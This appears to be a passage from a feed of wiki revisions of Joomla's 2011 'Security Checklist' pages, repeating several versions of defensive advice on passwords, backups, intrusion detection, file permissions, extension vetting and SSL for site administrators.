== Site Administration ==&lt;br /&gt;
&lt;br /&gt;
===Use well-formed passwords===&lt;br /&gt;
: Change passwords regularly and keep them unique. A strong  password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].&lt;br /&gt;
&lt;br /&gt;
===Follow a password leveling scheme===&lt;br /&gt;
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]&lt;br /&gt;
&lt;br /&gt;
===Maintain a strong site backup process===&lt;br /&gt;
: Never rely on others&#039; backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.&lt;br /&gt;
&lt;br /&gt;
===Monitor crack attempts===&lt;br /&gt;
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Perform automated intrusion detection===&lt;br /&gt;
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. &lt;br /&gt;
* [http://www.google.com/search?q=Intrusion+Prevention Google search]&lt;br /&gt;
&lt;br /&gt;
===Perform manual intrusion detection===&lt;br /&gt;
: Regularly check raw logs for suspicious activity. Don&#039;t rely on summaries and graphs.&lt;br /&gt;
&lt;br /&gt;
===Stay current with security patches and upgrades===&lt;br /&gt;
: Apply vendor-released security patches ASAP.&lt;br /&gt;
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek site vulnerabilities===&lt;br /&gt;
: Perform frequent web scanning.&lt;br /&gt;
&lt;br /&gt;
* [http://www.google.com/search?q=%22web+scanning Google Search]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek SQL injections vulnerabilities===&lt;br /&gt;
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://www.google.com/search?q=%22SQL+Injection Google Search]&amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use shell scripts to automate security tasks===&lt;br /&gt;
: Search the forums for these popular scripts:&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Component/Module Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Exploit Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Learn about security software===&lt;br /&gt;
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t reinvent every wheel===&lt;br /&gt;
: Every now and then hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, &#039;&#039;&amp;quot;Anyone who acts as their own lawyer has a fool for a client.&amp;quot;&#039;&#039; The same goes for Web development. Don&#039;t expect to catch all of your own security mistakes.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59927</id>
		<title>Security Checklist/Site Administration</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59927"/>
		<updated>2011-06-26T23:41:31Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Monitor crack attempts */ links and minor grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Site Administration ==&lt;br /&gt;
&lt;br /&gt;
===Use well-formed passwords===&lt;br /&gt;
: Change passwords regularly and keep them unique. A strong  password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].&lt;br /&gt;
&lt;br /&gt;
===Follow a password leveling scheme===&lt;br /&gt;
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]&lt;br /&gt;
&lt;br /&gt;
===Maintain a strong site backup process===&lt;br /&gt;
: Never rely on others&#039; backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.&lt;br /&gt;
&lt;br /&gt;
===Monitor crack attempts===&lt;br /&gt;
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Perform automated intrusion detection===&lt;br /&gt;
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. &lt;br /&gt;
* [http://www.google.com/search?q=Intrusion+Prevention Google search]&lt;br /&gt;
&lt;br /&gt;
===Perform manual intrusion detection===&lt;br /&gt;
: Regularly check raw logs for suspicious activity. Don&#039;t rely on summaries and graphs.&lt;br /&gt;
&lt;br /&gt;
===Stay current with security patches and upgrades===&lt;br /&gt;
: Apply vendor-released security patches ASAP.&lt;br /&gt;
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek site vulnerabilities===&lt;br /&gt;
: Perform frequent web scanning.&lt;br /&gt;
&lt;br /&gt;
* [http://www.google.com/search?q=%22web+scanning Google Search]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek SQL injections vulnerabilities===&lt;br /&gt;
: Use tools such as Paros Proxy for conducting automated SQL Injection tests against your PHP applications.&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://www.google.com/search?q=%22SQL+Injection Google Search]&amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use shell scripts to automate security tasks===&lt;br /&gt;
: Search the forums for these popular scripts:&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Component/Module Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Exploit Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Learn about security software===&lt;br /&gt;
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t reinvent every wheel===&lt;br /&gt;
: Every now and then hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, &#039;&#039;&amp;quot;Anyone who acts as their own lawyer has a fool for a client.&amp;quot;&#039;&#039; The same goes for Web development. Don&#039;t expect to catch all of your own security mistakes.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59926</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59926"/>
		<updated>2011-06-26T23:26:34Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Use an SSL server */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
&#039;&#039;This has more to do with secure payments and administration, and is not Joomla! core or server security, but has been included here for advisory purposes.&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59925</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59925"/>
		<updated>2011-06-26T23:26:16Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Use an SSL server */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
